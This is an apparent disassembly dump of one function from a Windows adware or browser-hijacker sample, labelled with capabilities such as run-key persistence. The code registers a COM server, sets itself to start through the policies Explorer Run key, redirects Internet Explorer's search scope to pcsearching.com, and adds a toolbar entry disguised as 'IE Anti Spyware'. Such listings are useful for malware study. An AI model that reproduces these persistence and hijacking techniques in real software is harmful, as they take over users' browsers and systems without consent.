Function at 0x402307
Capabilities:
Check if file exists
Get file attributes
Persist via run registry key

Disassembly:
sub esp, 0x618
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x31c]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov ebx, dword [sym.imp.KERNEL32.DLL_SetEvent]
push esi
call ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push str.Soft
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea edi, [esp + 0xc]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402351
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov esi, str.wareCl
movsd dword es:[edi], dword [esi]
push 0x403508
lea eax, [esp + 0x14]
push eax
movsd dword es:[edi], dword [esi]
call ebp
lea edi, [esp + 0x10]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402378
mov esi, str.esCLS
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0
movsb byte es:[edi], byte [esi]
call ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0x4034fc
lea eax, [esp + 0x14]
push eax
call ebp
lea edi, [esp + 0x10]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023ac
mov esi, str._sInpro
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push str.cSer
lea eax, [esp + 0x14]
push eax
movsb byte es:[edi], byte [esi]
call ebp
lea edi, [esp + 0x10]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023cd
mov esi, str.ver32
push str.C2A1C5CB_C0EF_4689_9436_F62CCA1C5383
lea eax, [esp + 0x14]
movsd dword es:[edi], dword [esi]
push eax
lea eax, [esp + 0x11c]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x404278
push 0x4034b6
lea eax, [esp + 0x128]
push eax
mov ebx, 0x80000002
push ebx
call fcn.0040150d
mov esi, dword [sym.imp.KERNEL32.DLL_SetEvent]
add esp, 0x1c
push 0
call esi
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
call edi
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push str.Apartment
push str.ThreadingModel
lea eax, [esp + 0x11c]
push eax
push ebx
call fcn.0040150d
add esp, 0x10
push str.C2A1C5CB_C0EF_4689_9436_F62CCA1C5383
push 0x5b
push 0x403460
call fcn.0040128d
pop ecx
pop ecx
push eax
lea eax, [esp + 0x11c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
call esi
call edi
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
lea eax, [esp + 0x114]
push eax
push 0x80000001
call fcn.00402250
push 0x58
push 0x403454
call fcn.0040128d
add esp, 0x10
push eax
lea eax, [esp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x58
push 0x403448
call fcn.0040128d
pop ecx
pop ecx
push eax
lea eax, [esp + 0x21c]
push eax
call ebp
push 0x58
push 0x403438
call fcn.0040128d
pop ecx
pop ecx
push eax
lea eax, [esp + 0x21c]
push eax
call ebp
push 0x58
push 0x403428
call fcn.0040128d
pop ecx
pop ecx
push eax
lea eax, [esp + 0x21c]
push eax
call ebp
push 0x58
push 0x403418
call fcn.0040128d
pop ecx
pop ecx
push eax
lea eax, [esp + 0x21c]
push eax
call ebp
push 0x58
push 0x403408
call fcn.0040128d
pop ecx
pop ecx
push eax
lea eax, [esp + 0x21c]
push eax
call ebp
push str.C2A1C5CB_C0EF_4689_9436_F62CCA1C5383
lea eax, [esp + 0x21c]
push eax
lea eax, [esp + 0x428]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
call esi
call edi
mov ebp, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call ebp
mov eax, 0x4034b6
push eax
push eax
lea eax, [esp + 0x428]
push eax
push ebx
call fcn.0040150d
add esp, 0x10
push 0
call esi
call edi
push 0
call ebp
lea eax, [esp + 0x31c]
push eax
push str.start
push str.SOFTWAREMicrosoftWindowsCurrentVersionpoliciesexplorer_run
push ebx
call fcn.0040150d
push str.Search
push str.DisplayName
mov edi, str.SoftwareMicrosoftInternet_ExplorerSearchScopesDAED9266_8C28_4C1C_8B58_5C66EFF1D302
push edi
mov esi, 0x80000001
push esi
call fcn.0040150d
push 0xff36
call fcn.00402190
add esp, 0x24
cmp eax, 0xffffffff
pop ebp
jne 0x4025c2
xor eax, eax
push eax
lea eax, [esp + 0x524]
push str.http:__www.pcsearching.com_index.php_b1t_dqsearchTerms
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x52c]
push eax
push 0x403348
push edi
push esi
call fcn.0040150d
push str.DAED9266_8C28_4C1C_8B58_5C66EFF1D302
push str.DefaultScope
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes
push esi
call fcn.0040150d
push 0x15
pop ecx
mov esi, str.SOFTWAREMicrosoftInternet_ExplorerExtensions9034A523_D068_4BE8_A284_9DF278BE776E
lea edi, [esp + 0x13c]
rep movsd dword es:[edi], dword [esi]
push str.IE_Anti_Spyware
movsw word es:[edi], word [esi]
push str.MenuText
lea eax, [esp + 0x144]
push eax
push ebx
movsb byte es:[edi], byte [esi]
call fcn.0040150d
push str.http:__www.explorertool.net_redirect.php
push str.Exec
lea eax, [esp + 0x154]
push eax
push ebx
call fcn.0040150d
add esp, 0x4c
push str.1FBA04EE_3024_11d2_8F1F_0000F87ABD16
push str.CLSID
lea eax, [esp + 0x118]
push eax
push ebx
call fcn.0040150d
add esp, 0x10
pop edi
pop esi
pop ebx
add esp, 0x618
ret